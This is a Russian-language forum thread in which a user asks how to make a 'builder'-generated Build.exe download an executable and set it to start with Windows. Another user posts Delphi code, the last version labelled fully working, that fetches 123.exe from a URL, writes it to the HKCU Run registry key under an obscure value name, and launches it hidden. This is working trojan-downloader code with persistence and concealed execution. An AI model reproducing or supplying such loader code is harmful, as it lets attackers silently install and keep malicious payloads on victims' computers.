Автозагрузка скачанного файла

[Аватар]

Понял так: Build.exe скачивает указанный файл с сайта и запускает его на выполнение. Что мешает этому же Build.exe скопировать скачанный файл в папку AppData и прописать его в автозагрузку? Или скачанный файл сам это должен сделать? Если в его коде будет предусмотрена такая возможность, то можно. Не будет - нельзя.

[devote]

Да, конечно возможно

[Alex11223]

Что мешает этому же Build.exe скопировать скачанный файл в папку AppData и прописать его в автозагрузку?

Видимо автор спрашивает как это сделать.

[iLnes]

Да.
Мне надо чтобы Build.exe скопировал этот скачанный файл (123.exe) в AppData и прописал в автозагрузку.
Как реализовать код?

[Cyrix]

С этим вопросом *наверное не здесь, исходники Довнлоадера лежат в интернете и есть похожие по запросу. Есть исходники Билдера. На форуме HPC в разделе Delphi найдешь все ответы.

З.Ы.

-2 это к чему вообще? Причем тут исходники билдера? //alex11223

iLnes

Запуская я допустим файл Compile_File.exe и ввожу там в поле Edit ссылку такого вида: http://site.com/123.exe , нажимаю "Сделать", в папку с программой, которую я запустим (Compile_File.exe) создается файл Build.exe

Всегда билдер писал для изменения ссылки, alex11223 каким тогда способом можно. Интересно навыки новые получить. Должны -2 объяснить как-то.

[Стелс]

uses UrlMon;
.....



function DownloadFile(Source, Dest: string): Boolean;
begin
  try
    Result := UrlDоwnloаdToFile(nil, PChar(Source), PChar(Dest), 0, nil) = 0;
  except
    Result := False;
  end;
end;

TForm1.Button1Click(Sender: TObject);
var
    reg : TRegistry;
begin
  if DownlоadFile('http://www.site.com/123.exe',  'C:\123.exe' ) then
  begin
reg := TRegistry.Create;
reg.RootKey := HKEY_CURRENT_USER;
reg.OpenKey('SOFTWАRE\Microsoft\Windоws\CurrentVersion\Run',True);
reg.WritеString('FF0CA66', 'C:\123.exe);
reg.Free;
WinExec('123.exe',SW_HIDE);
end;
 end.

ну как то вот так наверное или я чего то не понял ٩(๏̯͡๏)۶

[iLnes]

Сообщение от Стелс

uses UrlMon;
.....



function DownloadFile(Source, Dest: string): Boolean;
begin
  try
    Result := UrlDоwnloаdToFile(nil, PChar(Source), PChar(Dest), 0, nil) = 0;
  except
    Result := False;
  end;
end;

TForm1.Button1Click(Sender: TObject);
var
    reg : TRegistry;
begin
  if DownlоadFile('http://www.site.com/123.exe',  'C:\123.exe' ) then
  begin
reg := TRegistry.Create;
reg.RootKey := HKEY_CURRENT_USER;
reg.OpenKey('SOFTWАRE\Microsoft\Windоws\CurrentVersion\Run',True);
reg.WritеString('FF0CA66', 'C:\123.exe);
reg.Free;
WinExec('123.exe',SW_HIDE);
end;
 end.

ну как то вот так наверное или я чего то не понял ٩(๏̯͡๏)۶

Код не работает, файл не качает.
В автозагрузку естественно тоже.
ссылку на dropbox.com указывал

[Стелс]

Сообщение от iLnes

Код не работает, файл не качает.
В автозагрузку естественно тоже.
ссылку на dropbox.com указывал

код то нужно РУЧКАМИ переписывать )) я проверял у меня все работает

[Стелс]

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, UrlMon, StdCtrls, Registry;

function DownloadFile(Source, Dest: string): Boolean;
begin
  try
    Result := UrlDownloadToFile(nil, PChar(Source), PChar(Dest), 0, nil) = 0;
  except
    Result := False;
  end;
end;

procedure TForm1.Button1Click(Sender: TObject);
var
       reg : TRegistry;
begin
  if DownloadFile('http://www.site.com/123.exe',  'C:\123.exe')
   then
      begin
          reg := TRegistry.Create;
          reg.RootKey := HKEY_CURRENT_USER;
          reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',True);
          reg.WriteString('FF0CA66', 'C:\123.exe');
          reg.Free;
WinExec('123.exe',SW_HIDE);
end;
 end;
вот 100% рабочий

[Стелс]

можешь просто скопировать